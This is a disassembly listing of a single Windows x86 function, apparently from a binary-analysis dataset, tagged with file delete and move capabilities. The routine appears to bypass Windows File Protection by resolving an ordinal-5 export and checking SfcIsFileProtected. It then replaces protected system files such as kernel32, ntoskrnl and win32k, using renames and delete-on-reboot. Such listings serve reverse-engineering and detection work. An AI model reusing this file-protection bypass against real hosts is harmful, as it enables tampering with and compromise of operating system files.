Function at 0x48ce24
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ac236
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xbac
mov dword [ebp - 0x994], 0
mov dword [ebp - 0x444], 0
mov dword [ebp - 0x320], 0
mov dword [ebp - 0x990], 0
mov dword [ebp - 0x31c], 0
lea ecx, [ebp - 0x888]
call fcn.0048ebdd
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 8]
call fcn.004175d0
lea eax, [ebp - 0x328]
push eax
lea ecx, [ebp - 0xba0]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00417090
and eax, 0xff
test eax, eax
je 0x48cedc
mov edx, dword [ebp - 0xba0]
cmp dword [edx + 0x168], 0
jne 0x48ceda
mov eax, dword [ebp - 0xba0]
cmp dword [eax + 0x170], 0
je 0x48ceda
mov ecx, dword [ebp - 0x320]
add ecx, 1
mov dword [ebp - 0x320], ecx
jmp 0x48ce8e
cmp dword [ebp - 0x320], 0
jne 0x48cf0c
mov dword [ebp - 0xba8], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x888]
call fcn.0048ebf4
mov eax, dword [ebp - 0xba8]
jmp 0x48d796
call fcn.0042cc7c
test eax, eax
je 0x48cf3c
mov dword [ebp - 0xbac], 6
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x888]
call fcn.0048ebf4
mov eax, dword [ebp - 0xbac]
jmp 0x48d796
lea edx, [ebp - 0x110]
push edx
call fcn.0048d824
add esp, 4
test eax, eax
je 0x48cf76
mov dword [ebp - 0xbb0], 6
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x888]
call fcn.0048ebf4
mov eax, dword [ebp - 0xbb0]
jmp 0x48d796
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x444], 0
jne 0x48cfb9
mov dword [ebp - 0xbb4], 6
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x888]
call fcn.0048ebf4
mov eax, dword [ebp - 0xbb4]
jmp 0x48d796
push 5
mov ecx, dword [ebp - 0x444]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x994], eax
push 0x104
lea edx, [ebp - 0x318]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x53b22c
lea eax, [ebp - 0x318]
push eax
push 0x53b240
push 0x104
lea ecx, [ebp - 0x548]
push ecx
call fcn.0040a150
add esp, 0x14
push 0x53b248
lea edx, [ebp - 0x318]
push edx
push 0x53b260
push 0x104
lea eax, [ebp - 0x858]
push eax
call fcn.0040a150
add esp, 0x14
mov ecx, dword [ebp + 8]
call fcn.004175d0
lea ecx, [ebp - 0x328]
push ecx
lea edx, [ebp - 0xba0]
push edx
mov ecx, dword [ebp + 8]
call fcn.00417090
and eax, 0xff
test eax, eax
je 0x48d75a
mov eax, dword [ebp - 0xba0]
cmp dword [eax + 0x168], 0
jne 0x48d073
mov ecx, dword [ebp - 0xba0]
cmp dword [ecx + 0x170], 0
jne 0x48d075
jmp 0x48d032
mov edx, dword [ebp - 0xba0]
mov dword [edx + 0x16c], 0
push str.vmx_svga.sys
mov eax, dword [ebp - 0xba0]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.vmxnet.sys
mov ecx, dword [ebp - 0xba0]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.vmscsi.sys
mov edx, dword [ebp - 0xba0]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.vmmouse.sys
mov eax, dword [ebp - 0xba0]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.pidgen.dll
mov ecx, dword [ebp - 0xba0]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.Dpcdll.dll
mov edx, dword [ebp - 0xba0]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.Hal.dll
mov eax, dword [ebp - 0xba0]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.shlwapi.dll
mov ecx, dword [ebp - 0xba0]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.shdocvw.dll
mov edx, dword [ebp - 0xba0]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.MSOE.dll
mov eax, dword [ebp - 0xba0]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push 0x53b2e0
mov ecx, dword [ebp - 0xba0]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.Ntoskrnl.exe
mov edx, dword [ebp - 0xba0]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.Ntkrnlpa.exe
mov eax, dword [ebp - 0xba0]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.nvcpl.dll
mov ecx, dword [ebp - 0xba0]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.nvmctray.dll
mov edx, dword [ebp - 0xba0]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.nvsvc32.exe
mov eax, dword [ebp - 0xba0]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.netman.dll
mov ecx, dword [ebp - 0xba0]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.urlmon.dll
mov edx, dword [ebp - 0xba0]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.mshtml.dll
mov eax, dword [ebp - 0xba0]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.afd.sys
mov ecx, dword [ebp - 0xba0]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.DNSAPI.dll
mov edx, dword [ebp - 0xba0]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.srvsvc.dll
mov eax, dword [ebp - 0xba0]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.win32k.sys
mov ecx, dword [ebp - 0xba0]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.Ntdll.dll
mov edx, dword [ebp - 0xba0]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x48d2f7
push str.Kernel32.dll
mov eax, dword [ebp - 0xba0]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x48d2fc
jmp 0x48d032
push 0x5c
mov ecx, dword [ebp - 0xba0]
push ecx
call dword [sym.imp.ntdll.dll_strrchr]
add esp, 8
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 0
jne 0x48d322
jmp 0x48d032
mov edx, dword [ebp - 0x440]
add edx, 1
mov dword [ebp - 0x440], edx
push 0x53b3a4
push 0x104
lea eax, [ebp - 0x64c]
push eax
call fcn.00409000
mov ecx, dword [ebp - 0x440]
push ecx
push 0x104
lea edx, [ebp - 0x64c]
push edx
call fcn.00407f00
push 0x53b3a8
push 0x104
lea eax, [ebp - 0x64c]
push eax
call fcn.00407f00
lea ecx, [ebp - 0x64c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x990], 0
mov dword [ebp - 0x31c], 0
mov dword [ebp - 0x650], 0xea60
mov edx, 1
test edx, edx
je 0x48d427
mov eax, dword [ebp - 0x650]
push eax
lea ecx, [ebp - 0x64c]
push ecx
mov edx, dword [ebp - 0xba0]
mov eax, dword [edx + 0x170]
mov ecx, dword [eax]
push ecx
call fcn.0048f6cc
add esp, 0xc
mov dword [ebp - 0x880], eax
cmp dword [ebp - 0x880], 0
je 0x48d427
cmp dword [ebp - 0x990], 3
jge 0x48d410
mov edx, dword [ebp - 0x990]
add edx, 1
mov dword [ebp - 0x990], edx
mov eax, dword [ebp - 0x650]
shl eax, 1
mov dword [ebp - 0x650], eax
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x48d3a0
lea ecx, [ebp - 0x64c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x31c], 1
cmp dword [ebp - 0x31c], 0
je 0x48d442
lea edx, [ebp - 0x64c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x48d032
push 0
lea eax, [ebp - 0x338]
push eax
lea ecx, [ebp - 0x64c]
push ecx
call fcn.0042a9c3
add esp, 0xc
test eax, eax
jne 0x48d470
lea edx, [ebp - 0x64c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x48d032
lea eax, [ebp - 0x87c]
push eax
lea ecx, [ebp - 0x338]
push ecx
call fcn.0048d7a4
add esp, 8
lea edx, [ebp - 0x87c]
push edx
mov eax, dword [ebp - 0xba0]
mov ecx, dword [eax + 0x170]
add ecx, 4
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x48d4b9
lea edx, [ebp - 0x64c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x48d032
mov eax, dword [ebp - 0x440]
push eax
push 0x53b424
push 0x104
lea ecx, [ebp - 0x98c]
push ecx
call fcn.0040a150
add esp, 0x10
lea edx, [ebp - 0x98c]
push edx
call fcn.0042b4af
add esp, 4
test eax, eax
je 0x48d564
mov eax, 1
test eax, eax
je 0x48d564
call dword [sym.imp.MSVCRT.dll_rand]
mov dword [ebp - 0x324], eax
mov ecx, dword [ebp - 0x324]
push ecx
lea edx, [ebp - 0x98c]
push edx
push 0x53b42c
push 0x104
lea eax, [ebp - 0x754]
push eax
call fcn.0040a150
add esp, 0x14
lea ecx, [ebp - 0x754]
push ecx
call fcn.0042b4af
add esp, 4
test eax, eax
je 0x48d53d
jmp 0x48d4ec
push 1
lea edx, [ebp - 0x754]
push edx
lea eax, [ebp - 0x98c]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
push 0
lea ecx, [ebp - 0x754]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0x53b434
lea edx, [ebp - 0x64c]
push edx
lea ecx, [ebp - 0x888]
call fcn.0048ef3a
test eax, eax
je 0x48d58e
lea eax, [ebp - 0x64c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x48d5a0
lea ecx, [ebp - 0x64c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x48d032
lea edx, [ebp - 0x98c]
push edx
call fcn.0042b4af
add esp, 4
test eax, eax
jne 0x48d5c5
lea eax, [ebp - 0x64c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x48d032
push 0x208
lea ecx, [ebp - 0xb9c]
push ecx
mov edx, dword [ebp - 0xba0]
push edx
call sub.ntdll.dll_strlen
add esp, 4
add eax, 1
push eax
mov eax, dword [ebp - 0xba0]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0xb9c]
push ecx
push 0
call sub.sfc.dll_SfcIsFileProtected
test eax, eax
je 0x48d6d7
push 0xffffffffffffffff
lea edx, [ebp - 0xb9c]
push edx
push 0
call dword [ebp - 0x994]
mov dword [ebp - 0x880], eax
cmp dword [ebp - 0x880], 0
je 0x48d637
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xba4], eax
mov eax, dword [ebp - 0x440]
push eax
lea ecx, [ebp - 0x548]
push ecx
push 0x53b498
push 0x104
lea edx, [ebp - 0x214]
push edx
call fcn.0040a150
add esp, 0x14
mov eax, dword [ebp - 0x440]
push eax
lea ecx, [ebp - 0x858]
push ecx
push 0x53b4a0
push 0x104
lea edx, [ebp - 0x43c]
push edx
call fcn.0040a150
add esp, 0x14
lea eax, [ebp - 0x214]
push eax
call fcn.0042b4af
add esp, 4
test eax, eax
je 0x48d6ae
lea ecx, [ebp - 0x98c]
push ecx
lea edx, [ebp - 0x214]
push edx
call fcn.0048ccf3
add esp, 8
lea eax, [ebp - 0x43c]
push eax
call fcn.0042b4af
add esp, 4
test eax, eax
je 0x48d6d7
lea ecx, [ebp - 0x98c]
push ecx
lea edx, [ebp - 0x43c]
push edx
call fcn.0048ccf3
add esp, 8
lea eax, [ebp - 0x98c]
push eax
mov ecx, dword [ebp - 0xba0]
push ecx
call fcn.0048ccf3
add esp, 8
test eax, eax
je 0x48d726
mov edx, dword [ebp - 0xba0]
mov dword [edx + 0x16c], 1
mov eax, dword [ebp - 0xba0]
mov dword [eax + 0x188], 1
mov ecx, dword [sym.imp.MSVCRT.dll__iob]
add ecx, 0x20
push ecx
call dword [sym.imp.MSVCRT.dll_fflush]
add esp, 4
jmp 0x48d748
mov edx, dword [ebp - 0xba0]
mov dword [edx + 0x16c], 0
mov eax, dword [sym.imp.MSVCRT.dll__iob]
add eax, 0x20
push eax
call dword [sym.imp.MSVCRT.dll_fflush]
add esp, 4
lea ecx, [ebp - 0x98c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x48d032
mov edx, dword [ebp - 0x444]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0xbb8], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x888]
call fcn.0048ebf4
mov eax, dword [ebp - 0xbb8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret